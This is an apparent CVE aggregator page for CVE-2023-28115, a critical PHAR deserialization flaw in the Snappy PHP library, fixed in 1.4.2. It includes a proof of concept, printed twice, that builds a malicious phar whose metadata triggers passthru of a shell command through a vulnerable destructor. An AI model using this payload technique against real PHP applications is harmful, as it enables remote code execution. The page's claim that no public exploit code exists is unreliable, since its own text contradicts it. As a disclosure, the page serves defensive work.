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CVE-2023-28115

Snappy vulnerable to PHAR deserialization, allowing remote code execution

9.8 CriticalFix available

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

2.76%Up 2.5 points since Mar 18, 2023
90%50%10%1%

What each source reports

CVE List Score used 9.8

Snappy vulnerable to PHAR deserialization, allowing remote code execution

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
CVE-2023-28115
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2023-1015 9.8

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
EUVD-2023-1015
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-gq6w-q6wh-jggc 9.8

PHAR deserialization allowing remote code execution

Description

snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.

Proof of Concept

Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

// vulnerable object
class VulnerableClass {
    public $fileName;
    public $callback;

    function __destruct() {
        call_user_func($this->callback, $this->fileName);
    }
}

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');

As an attacker, we going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Then run these command to generate the file

php --define phar.readonly=0 generate_phar.php

Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.

Impact

This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.

Occurences

https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670

References

Record
GHSA-gq6w-q6wh-jggc
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
NVD 9.8

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
CVE-2023-28115
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 9.8

Snappy vulnerable to PHAR deserialization, allowing remote code execution

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
CVE-2023-28115
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVDEBIAN-CVE-2023-28115 9.8

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
DEBIAN-CVE-2023-28115
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-gq6w-q6wh-jggc 9.8

PHAR deserialization allowing remote code execution

Description

snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.

Proof of Concept

Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

// vulnerable object
class VulnerableClass {
    public $fileName;
    public $callback;

    function __destruct() {
        call_user_func($this->callback, $this->fileName);
    }
}

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');

As an attacker, we going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Then run these command to generate the file

php --define phar.readonly=0 generate_phar.php

Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.

Impact

This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.

Occurences

https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670

References

Record
GHSA-gq6w-q6wh-jggc
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVUBUNTU-CVE-2023-28115 9.8

Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.

Record
UBUNTU-CVE-2023-28115
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
knplabs/knp-snappy
Packagist
before 1.4.2
1.4.2
civicrm
Debian:11
All versions, plus listed versions
5.33.2+dfsg1-15.50.1+dfsg1-15.50.3+dfsg1-15.52.2+dfsg1-15.53.0+dfsg1-15.68.1+dfsg1-1
None known
knplabs/knp-snappy
Packagist
before 1.4.2, plus listed versions
0.1.00.1.10.1.20.2.00.2.1
Show 22 moreShow less
0.3.00.3.10.3.20.3.30.3.40.40.4.10.4.20.4.3v0.5.0v1.0v1.0.1v1.0.2v1.0.3v1.0.4v1.1.0v1.2.0v1.2.1v1.3.0v1.3.1v1.4.0v1.4.1
1.4.2
civicrm
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
4.7.1+dfsg-14.7.1+dfsg-24.7.1+dfsg-2ubuntu14.7.1+dfsg-2ubuntu1+esm1
None known
civicrm
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
4.7.23+dfsg-1ubuntu14.7.24+dfsg-1ubuntu14.7.30+dfsg-1ubuntu14.7.30+dfsg-1ubuntu1+esm1
None known
civicrm
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
5.11.0+dfsg-15.18.1+dfsg-15.20.3+dfsg-15.21.0+dfsg-15.21.1+dfsg-15.21.2+dfsg-15.21.2+dfsg-1ubuntu0.1~esm1
None known
civicrm
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
5.33.2+dfsg1-15.33.2+dfsg1-1build15.33.2+dfsg1-1ubuntu15.33.2+dfsg1-1ubuntu1+esm1
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-28115 is a critical vulnerability (CVSS 9.8) in Knplabs Snappy, published March 17, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.76%, the 86th percentile. Fixed in knplabs/knp-snappy 1.4.2.

References

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